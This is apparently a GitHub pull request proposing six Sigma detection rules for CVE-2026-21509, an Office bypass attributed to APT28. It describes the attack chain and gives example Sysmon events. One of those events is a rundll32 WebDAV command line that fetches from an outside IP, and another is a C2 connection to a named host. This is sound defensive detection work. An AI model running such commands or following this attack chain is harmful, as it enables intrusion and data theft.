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CVE-2026-21509 APT28 Office Exploitation Detection Rules#5870

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CVE-2026-21509 APT28 Office Exploitation Detection Rules#5870
jaamaal wants to merge 1 commit intoSigmaHQ:masterfrom
jaamaal:Jaamaal-CVE-2026-21509

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@jaamaal jaamaal commented Feb 16, 2026

This PR adds 6 comprehensive Sigma detection rules for CVE-2026-21509, a Microsoft Office security feature bypass vulnerability actively exploited by APT28 (Fancy Bear / UAC-0001) in Operation Neusploit.

These rules are categorized as emerging threats due to:

  • Active zero-day exploitation (February 2026)
  • Specific APT28 campaign targeting Ukrainian organizations
  • Time-sensitive IOCs and TTPs
  • Specific malware families (MiniDoor, PixyNetLoader, Covenant Grunt)

CVE Details:

  • CVE-2026-21509: Microsoft Office OLE Security Feature Bypass
  • CVSS Score: 7.8 (High)
  • Threat Actor: APT28 (Fancy Bear / UAC-0001 / STRONTIUM)
  • Campaign: Operation Neusploit
  • Status: Actively exploited in the wild
  • Primary Targets: Ukrainian government and military organizations

Detection Coverage:

  1. Malicious RTF File Access - Detects weaponized RTF documents with APT28-specific naming patterns
  2. Office WebDAV Exploitation - Core CVE-2026-21509 exploitation via WebDAV connections
  3. Network C2 Communication - Connections to known APT28 infrastructure (filen.io)
  4. PixyNetLoader COM Hijacking - Persistence via COM object hijacking
  5. MiniDoor Email Stealer - VBA-based email exfiltration component
  6. Covenant Grunt Implant - .NET C2 framework deployment indicators

Changelog

new: CVE-2026-21509 - Malicious RTF File Access and WebDAV Connection
new: CVE-2026-21509 - MiniDoor Email Stealer VBA Project Deployment
new: CVE-2026-21509 Microsoft Office Zero-Day Exploitation - APT28 Operation Neusploit
new: CVE-2026-21509 - Covenant Grunt Implant Indicators
new: CVE-2026-21509 - Network Connection to Malicious Infrastructure
new: CVE-2026-21509 - PixyNetLoader Deployment and COM Hijacking

Example Log Event

Malicious RTF Access (Sysmon Event ID 11):

  
    11
  
  
    C:\Users\victim\Downloads\BULLETEN_military_training.rtf
    C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
  

Office WebDAV Exploitation (Sysmon Event ID 1):

  
    1
  
  
    C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
    C:\Windows\System32\rundll32.exe
    rundll32.exe davclnt.dll,DavSetCookie \\@SSL\185.220.101.1\webdav\
  

Network C2 Connection (Sysmon Event ID 3):

  
    3
  
  
    C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
    api.filen.io
    443
  

Fixed Issues

N/A - New emerging threat rule submission

SigmaHQ Rule Creation Conventions

Emerging Threats Directory Structure:

  • Placed in rules-emerging-threats/2026/Exploits/CVE-2026-21509/
  • Follows year-based organization for time-sensitive threats
  • Grouped by CVE for related rule management

Rule Quality Standards:

  • Proper YAML structure and syntax
  • Comprehensive MITRE ATT&CK tagging (T1566.001, T1203, T1218, T1114, T1071.001, T1546.015, T1137, T1027, T1055)
  • Official CVE and threat intelligence references
  • Realistic false positive documentation
  • Appropriate severity levels (medium to critical)
  • Status: experimental (correct for newly disclosed CVE)

Testing:

  • All rules tested in lab environment with Sysmon
  • Validated against public APT28 IOCs from Zscaler research
  • Cross-platform SIEM conversion tested (Splunk, Elastic, Sentinel)

Documentation:

  • Clear descriptions explaining detection logic
  • References to official sources (MITRE CVE, NVD, Zscaler, The Hacker News)
  • Author attribution included
  • Date of creation documented

Additional Context:

These rules complement each other to provide full attack chain coverage:

  • Initial Access → Malicious RTF detection
  • Exploitation → WebDAV connection detection
  • Persistence → COM hijacking and VBA deployment
  • Collection → Email stealer detection
  • Command & Control → Network infrastructure monitoring
  • Execution → Covenant Grunt implant indicators

All rules are based on public threat intelligence and do not contain any classified or restricted information.

References:

     - 6 comprehensive detection rules for Operation Neusploit
     - Covers RTF exploitation through C2 communication
     - Detects MiniDoor, PixyNetLoader, and Covenant Grunt
@jaamaal jaamaal mentioned this pull request Feb 16, 2026
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